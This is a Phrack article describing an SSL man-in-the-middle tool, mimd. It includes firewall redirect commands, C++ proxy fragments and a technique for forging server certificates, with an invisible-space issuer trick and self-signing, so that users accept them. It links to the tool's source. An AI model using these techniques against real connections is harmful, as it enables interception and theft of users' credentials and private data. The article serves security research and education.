                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x39, Phile #0x0d of 0x12

|=---=[ Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) ]=---=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Stealth <stealth@segfault.net> ]=-----------------=|


Introduction
------------

SSL in version 3 known as SSLv3 or current version 3.1 also known
as TLS provides a mechanism to securely transfer data over a network
with recognition of modified or re-played packets. It has all requirements a
secure system needs for, lets say, managing your bankaccounts.

I'll show that in practise this is not true.

In that article I will guide you through the parts
of SSL which are important for us and necessary to know.
Things we do not play with such as the SSL handshake are not
explained in depth; take a look to the references
if you are interested.


1. Why SSL
----------

SSL was designed to provide:

    1.) Confidentiality

    This is reached by encrypting the data that is passed over the
    network with a symetric algorithm choosen
    during SSL handshake. SSL uses variable amount of ciphers,
    assumed to be non-breakable. If a new attack shows up against
    a specific algorithm, this does not hurt SSL much,
    it just chooses a different one.


    2.) Message Integrity

    SSL is using a strong Message Authentication Code
    (MAC) such as SHA-1 which is appended to the end of the packet
    that contains the data and encrypted along with the payload.
    That way SSL detects when the payload is tampered with, since the
    computed hashes will not match. The MAC is also used to protect the
    handshake from tampering.

    2.1.) Protection against replay-attacks

    SSL is using seqence-numbers to protect the communicating parties from
    attackers who are recording and replaying packets. The sequence-number
    is encrypted as the payload is. During handshake a 'random' is used
    to make the handshake unique and replay attacks impossible.

    2.2.) Protection against reorder-attacks

    As in 2.1.) the seqence-numbers also forbid to record packets and send
    them in a different order.


    3.) Endpoint Authentication

    With X509 (currently version 3) certificates SSL supports authentication
    of clients and servers. Authentication of servers is what you want
    when using https with your bank, but this is where we take a deeper look.


This sounds pretty secure. However using the program that is explained until
the end of this article, neither of the points is true any longer (except
we cannot break client-authentication).

At the end we are able to watch at the plain data, modifying it at our needs,
recording it, sending it delayed, in wrong order or duplicated.
This will basicly be done via a man in the middle attack where several
weaknesses in interactive SSL-clients are exploited, "give it to the user"
in particular.


2. X509 certificates
--------------------

X509 certificates are integral part of SSL. The server sends his cert
to the client during SSL handshake.
A X509 cert contains the distinguished name (DN) of the issuer
the DN of the subject, a version and serialnumber, algorithms choosen,
a timeframe where the key is valid and ofcorse the public key of the subject.

The subject is the (distinguished) name of the entity that the public key
in this cert belongs to. Unfortunally in plain X509 certs there is no
field that is labeled "DNS-name" so that you can match it against the URL
you are viewing for instance. Usually the CN field is what is mapped to
the DNS name but this is just a convention which both (client and entity
offering its cert) must be aware of.
"Issuer" is the (distinguished) name of the entity that signed this cert
with its private key. It is called a Certificate Authority -- CA.

Lets view a X509 cert:

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 1 (0x1)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C=EU, ST=segfault, L=segfault,
                O=www.segfault.net/Email=crew@segfault.net
        Validity
            Not Before: Nov 19 01:57:27 2000 GMT
            Not After : Apr  5 01:57:27 2028 GMT
        Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
                 CN=www.segfault.net/Email=crew@segfault.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
                    e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
                    e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
                    70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
                    0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
                    47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
                    a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
                    a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
                    83:88:8f:c4:6a:8c:bb:26:fd
                Exponent: 65537 (0x10001)
    Signature Algorithm: md5WithRSAEncryption
        7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
        e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
        42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
        a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
        ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
        8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
        80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
        82:f1


Important line is

Issuer: C=EU, ST=segfault, L=segfault,
        O=www.segfault.net/Email=crew@segfault.net

Where C, ST, L, O and Email (so called relative DNs -- RDN) build the issuer
DN.

Same for the subject:

Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
         CN=www.segfault.net/Email=crew@segfault.net

Certs may be be signed by a public known CA where the subject has
no control over the private key used for that purpose, or by the
subject itself -- so called self-signed cert.

In this example, the cert is signed by a own CA.

By the way, this is the original segfault.net certificate,
noone was intercepting communication while fetching it.
We will later see how it looks like when someone is playing
with the connection.
This certificate is exchanged during SSL handshake when you
point netscape browser to https://segfault.net. The public key contained
in this cert is then used for session encryption.

To have a pretty good level of security, certs should be signed
by a (either your own, as in this example, or a public) CA
where the client has the public key handy to check this cert.
If the client does not have the public key from the CA to check the
integrity of the cert, it prompts the user to accept/deny it.
This "requirement" for interactive clients and the fact that
there are so many "well-surfed" sites which provide certs where nobody
has the key for proper checking by default will in last consequence
make SSL obsolete for common interactive SSL clients, i.e. Netscape
browser.


3. Getting in between
---------------------

As seen, X509-certificates are an important part of SSL. Its task is
to prove to the client that he is talking to the server he is expecting,
and that he is using the apropriate key while doing so.

Now, imagine what could be done when we could fake such a certificate,
and transparently forward a SSL connection.

Got it? Its worth a try. Our leading motto 'teile und herrsche' shows
that there are two problems which we must solve.

a) Hijacking the connection to be able to transparently forward it.
b) Faking certificates to the client, so that he always sees the certs
   he is expecting and taking us for the real server.


a+b are usually called a 'man in the middle' attack.
X509 certs should make this impossible but common cert-checking
implementations such as Netscape browser (and in general, interactive
clients) hardly get it.

First problem is pretty easy to solve. Given that we sit physically
between the two parties, we just use our firewall skills (preferably on
Linux or BSD :) to redirect, lets say https-traffic to our program
called 'mimd'. This would probably look like

# ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp

or similar to grab the https-traffic on the input chain.
For local mimd action on a 2.4 kernel box you'd type

# iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 --dport 443\
  -j REDIRECT --to-port 10000

Given the (expected) source-ports from the SSL-client. If we ommit that,
mimd will enter an infinite loop (iptables would redirect already redirected
traffic). Since mimd binds to port 8888 and up it does not match the rule.
You do not need to sit physically between the parties,
it is usually enough to be in the LAN of the server or
the LAN of the client. ARP-tricks do the job pretty well
then, the FW-rules will not even change.

With these redirect-rules we could already set up a simple bouncer
with a tiny select() loop. The target-address can be found using
the operating system API (usually via getsockopt() or alike,
I compiled NS_Socket::dstaddr() function for the most important OSes :)
Using our little bouncer, we can not see what is passed on the link,
since we do not involve SSL itself.

To be able to see plain traffic, we should modify our (virtual)
little bouncer with a SSL_accpet() and a SSL_connect() statement.
After accpet()ing the connection we would connect() to the real
target and issue a call to SSL_connect(). Done that, we invoke
SSL_accept(). Assuming we had done the initialization stuff before
such as loading the key-file etc. the SSL-client will now prompt
the bouncer-cert to the user.
Obviously for him that this is faked, because when he surfes
company-A and gets cert for company-B or 'MiM' he is probably a little
bit confused.
We will solve that problem. Our calls to SSL_connect() and
SSL_accept() are already in the right order, and I will now
explain why.


4. DCA
------

We can already see the plain text of the connection via SSL_read()
and forward it to the target via SSL_write() if the user
on the SSL-client just accepts the certificate. 
It is now time to solve the second part-problem: faking
the certificate.

Remember, we first issued SSL_connect(), before we do
the SSL_accept(), so the server sees us as a legitimate
client when doing SSL_connect() and does the SSL handshake.
As a result we have the server certificate.

Lets see what we have so far:

...

// block for incoming connections
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {

	// Get real destination
	// of connection
        if (NS_Socket::dstaddr(afd, &dst) < 0) {
        	log(NS_Socket::why());
                die(NULL);
        }

	...

	++i;
	if (fork() == 0) {
				
		// --- client-side
		if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
			log("main::socket");
			die(NULL);
		}

			
		if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
			log(NS_Socket::why());
			die(NULL);
		}
			
	
		// fire up connection to real server
		if (connect(sfd2, (struct sockaddr*)&dst, 
		    sizeof(dst)) < 0) {
			log("main::connect");
			die(NULL);
		}

		...
			
		client->start();
		client->fileno(sfd2);	// this socket to use
			
		// do SSL handshake
		if (client->connect() < 0) {
			log("Clientside handshake failed. Aborting.");
			die(NULL);
		}

The handshake with the real server is finished right *now*.
Take this as some sort of SSL-pseudocode, the use of SSL_connect()
and SSL_accept() is encapsulated into client and server objects respectively.
Now we can prepare ourself to be a server for the SSL-client:	
	

		// --- server-side

		server->start();	// create SSL object
		server->fileno(afd);	// set socket to use

Not calling SSL_accept() until we actually do the fake:
			
		if (enable_dca)
			NS_DCA::do_dca(client, server);

Dynamic Certificate Assembly (DCA) does the following:

Given an almost empty certificate (all RDN are non-existant
except C -- Country) the do_dca() fills this X509 cert with the contents
of the X509 certificate obtained during SSL-handshake with the
server before. We rip the L, ST, O, CN, the OU and the Email field
(as present) and place it into our certificate which we will show
to the SSL-client. This is done using some ugly string-parsing, and
using X509_() functions offered by OpenSSL.
For the OU field in the issuer we append a space " " which will not show up
in the window of the SSL-client but makes it differ from
the saved certs from public CA's. The user will be prompted to
accept a cert from a "well known CA" (because user sees the name,
but not the appended space, SSL-client can not find apropriate
public key for this CA and prompts), which he will probably accept.

Nice eh? As a special gift, we can use the subject fields (CN,...) for the
issuer-fields so the former public CA signed X509-cert becomes
self-signed! Since self-signed certificates are usually shown to the user
he cant know it is a fake!
Assembled the cert, lets just show it to the client:


        // do SSL handshake as fake-server
        if (server->accept() < 0) {
	        log("Serverside handshake failed. Aborting.");
	        die(NULL);
        }

        ssl_forward(client, server);


Done. ssl_forward() just calls SSL_read/SSL_write in a loop and records
the plain data. We could also modify the stream, replaying or supressing
it -- as we wish.

Lets fetch a X509-cert from a https-server via cf when mimd is active:

[starting mimd somewhere, maybe on localhost]

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C=US, C=EU, ST=segfault, L=segfault,
                O=www.segfault.net, OU= /Email=crew@segfault.net
        Validity
            Not Before: Mar 20 13:42:12 2001 GMT
            Not After : Mar 20 13:42:12 2002 GMT
        Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
                 CN=www.segfault.net/Email=crew@segfault.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
                    e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
                    94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
                    0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
                    b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
                    94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
                    ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
                    b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
                    ca:c2:07:9d:ba:32:ff:d6:e7
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
            X509v3 Authority Key Identifier:
                keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
                DirName:/C=US
                serial:00

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: md5WithRSAEncryption
        b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
        ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
        86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
        d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
        8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
        f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
        e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
        eb:f2


As you can see, the public key differs to the one before (without mimd)
because it is the mimd key itself. The C field contains "US" and "EU"
where only the latter is shown in Netscape, so no difference.
Aware of the " " in the OU field? Since the original cert did not
contain a OU field, it now is just a " ". Does not matter.
The issuer has been taken from original issuer-field in X509 cert.
Now, lets try to take the subject-field for the issuer. Somewhat
obsolete for this example because it is not signed by a public CA, but
in case an important public CA signed the cert, a self-signed
fake might be a nice toy:

[restarting mimd, this time in the 'use-subject' way]

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C=US, C=EU, ST=segfault, L=segfault,
                O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
        Validity
            Not Before: Mar 20 13:42:12 2001 GMT
            Not After : Mar 20 13:42:12 2002 GMT
        Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
                 CN=www.segfault.net/Email=crew@segfault.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
                    e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
                    94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
                    0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
                    b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
                    94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
                    ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
                    b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
                    ca:c2:07:9d:ba:32:ff:d6:e7
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
            X509v3 Authority Key Identifier:
                keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
                DirName:/C=US
                serial:00

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: md5WithRSAEncryption
        b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
        ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
        86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
        d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
        8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
        f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
        e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
        eb:f2


The only diff between these two is that a CN shows up in
the issuer-field now which has not been there before.
It would have more effect with public CA's as I already mentioned.


5. Conclusion
-------------

To conclude: a user surfing the web with interactive
client as they exist by now CAN NOT KNOW that his
connection is subject to a mim attack. There is no
way for him to distinguish between 'browser prompts
because company uses unknown CA' or 'the unknown CA
is mimd'. Even when he already surfed the site and saved
the cert (!) he can fall into this trap. An attentive user
MIGHT notice that he is prompted to accept a 'RSA Data Security'
or a 'Verisign' signed cert and wonders. Enabling
self-signing switch in mimd will kill his doubts.

In this article I focused on the 'separate-ports' way to
break SSL, there is also a thing called 'upward negotiation'
which turns a former plain-text stream into a SSL stream
via a keyword (STARTTLS for example). All things said about
SSL apply to it as well, just you can not use mimd in this
case, because you need to filter SSL connections and forward
it to mimd. This will probably be done using MSG_PEEK; we
are researching. :)



Thanks to

Segfault Consortium for providing a testing environment and
various folks for proof-reading the article. Blame them
if something is wrong. :)


References:
-----------

[1] "SSL and TLS" Designing and Building Secure Systems
    Eric Rescorla, AW 2001

    A 'must-read' if you want/need to know how SSL works.

[2] "Angewandte Kryptographie"
    Bruce Schneier, AW 1996

    THE book for crypto-geeks. I read the german version,
    in english its 'Applied Cryptographie'

[2] various openssl c-files and manpages

[3] http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz
    A DCA implementation, described in this article;
    also contains 'cf' tool.

[4] In case you cannot try mimd on your local box, view
    a snapshot from a mim-ed session provided by TESO:
    http://www.team-teso.net/ssl-security.png

|=[ EOF ]=---------------------------------------------------------------=|

